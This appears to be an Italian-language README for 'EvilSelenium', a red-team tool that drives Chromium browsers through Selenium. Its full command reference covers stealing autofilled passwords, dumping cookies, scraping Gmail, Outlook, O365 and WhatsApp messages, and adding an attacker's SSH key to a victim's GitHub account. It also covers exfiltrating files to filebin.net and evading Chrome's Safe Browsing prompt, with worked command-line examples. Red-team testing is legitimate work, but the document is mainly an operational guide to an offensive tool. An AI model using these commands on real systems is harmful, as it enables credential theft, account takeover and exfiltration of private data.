
Armare Selenium per automatizzare il furto di credenziali, il dumping dei cookie, l'esfiltrazione di email e l'estrazione di file dai browser Chromium per operazioni di red team.
EvilSelenium è un nuovo progetto che arma Selenium per abusare dei browser basati su Chromium. Le funzionalità attuali sono:
Oppure estendere le funzionalità esistenti per adattarle alle proprie esigenze (es. scaricare file dal GDrive/OneDrive dell'utente).
Quando questo strumento viene eseguito, terminerà qualsiasi processo del browser esistente per poter funzionare con il profilo del browser dell'utente che contiene le password e le sessioni attive.
Ho sviluppato questo strumento in circa una settimana e non ho eseguito tutti i test che avrei dovuto, quindi potrebbero esserci alcuni bug.
I moduli di Selenium non sono sempre stabili. A causa dei continui cambiamenti nei siti web, alcuni moduli potrebbero occasionalmente smettere di funzionare. Farò del mio meglio per mantenere i moduli esistenti e garantire che funzionino come previsto, ma siete avvisati.
EvilSelenium.exe /?
/help - Mostra questo menu di aiuto.
SETUP:
/install - Installa chromedriver e Selenium webdriver. Eseguire una volta sola.
GLOBALI: (accettati con ogni comando)
/browserdir [percorso_appdata_local] - Usa un browser personalizzato. Input deve essere il percorso all'interno della directory %appdatalocal% (es. "Microsoft\Edge")
RECON:
/enumsavedsites [percorso_output] - Controlla quali siti web hanno password salvate tramite screenshot.
/screenshot [sito_web] [percorso_output] - Acquisisce uno screenshot di una determinata pagina web.
CREDENZIALI:
/autorun - Estrae le credenziali salvate dai siti web comuni.
/dynamicid [pagina_login] [id_username] [id_password] - Estrae le credenziali salvate da un sito web, fornendo l'ID del campo username e l'ID del campo password.
/dynamicname [pagina_login] [nome_username] [nome_password] - Estrae le credenziali salvate da un sito web, fornendo il valore del nome del campo username e il valore del nome del campo password.
/dynamicname2 [pagina_login] [posizione_username] [posizione_password] [nome_username] [nome_password] - Estrae le credenziali salvate da un sito web, fornendo il valore del nome del campo username, il valore del nome del campo password e le loro posizioni.
COOKIE:
/cookies [sito_web] - Recupera i cookie per un determinato sito web.
MODULI:
/download [url_file] [secondi] - Scarica un file e specifica il tempo di attesa per il completamento del download. Le estensioni dei file non devono essere eseguibili.
/exfil [file_locale] [secondi] - Carica un file su filebin.net e restituisce il link per il download.
/gmail [percorso_output] [numero_email] - Recupera le email da mail.google.com se l'utente è autenticato. Max 50 email.
/outlook [percorso_output] [numero_email] - Recupera le email da Outlook se l'utente è autenticato.
/o365 [percorso_output] [numero_email] - Recupera le email da O365 Outlook se l'utente è autenticato.
/github [chiave] - Aggiungi la tua chiave SSH a GitHub se l'utente è autenticato.
/whatsapp [percorso_output] - Recupera i messaggi WhatsApp se l'utente è autenticato (BETA).
Il comando /install scaricherà Chrome Driver e Selenium WebDriver, che sono i requisiti necessari. EvilSelenium funzionerà con le versioni di Chrome 100-90.
Testato su Windows 10, Chrome v97 e v90.
EvilSelenium.exe /install
Per impostazione predefinita, EvilSelenium tenterà di utilizzare la cartella User Data di Google Chrome per recuperare i dati, ma sono supportati anche altri browser basati su Chromium.
Per utilizzare diversi browser basati su Chrome, è necessario aggiungere /browserdir seguito dal percorso del browser nella directory %localappdata%.
Ecco alcuni esempi per browser comuni (da aggiungere a qualsiasi comando CLI):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites - Acquisisce screenshot di chrome://settings/passwords
/screenshot - Acquisisce screenshot di qualsiasi sito web. Se l'utente è autenticato al sito, si ottengono screenshot autenticati :).
IMPORTANTE: Il modulo delle credenziali CANCELLERÀ I COOKIE per rubare le credenziali dall'autocompilazione. Idealmente, si dovrebbe usare il modulo delle credenziali alla fine se si desidera esportare i cookie.
/autorun - Modelli preimpostati per i siti web comuni. Continuerò ad aggiungerne altri.
/dynamicid - Fornisci l'URL di login insieme all'ID del campo di input username e all'ID del campo password. Questo equivale a document.getElementById().
/dynamicname - Se i campi non hanno ID, fornisci i valori dei nomi dei campi. Verrà selezionato il primo indice dei valori dei nomi. Questo equivale a document.getElementsByName()[0].value.
/dynamicname2 - Fornisci i valori dei nomi dei campi insieme alla loro posizione di indice. Questo equivale a document.getElementsByName()[x].value dove x è la posizione fornita.
/cookies - Scarica i cookie dal sito web specificato.
Questi sono moduli aggiuntivi che ho creato per dimostrare il tipo di azioni che si possono fare con Selenium.
/download - Scarica un file e specifica il tempo di attesa per il download. Un'estensione di file non eseguibile deve essere aggiunta al file prima del download per evitare il prompt di Safebrowsing di Chrome.
/exfil - Carica un file su filebin.net e specifica il tempo di attesa per il completamento del caricamento. Una volta completato il caricamento, viene scritto il link per il download del file.
/gmail - Recupera le email da mail.google.com se l'utente è autenticato. Max 50 email.
/outlook - Recupera le email da Outlook se l'utente è autenticato.
/o365 - Recupera le email da O365 Outlook se l'utente è autenticato.
/github - Aggiungi la tua chiave SSH a GitHub se l'utente è autenticato.
/whatsapp - Recupera i messaggi WhatsApp se l'utente è autenticato (BETA).
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
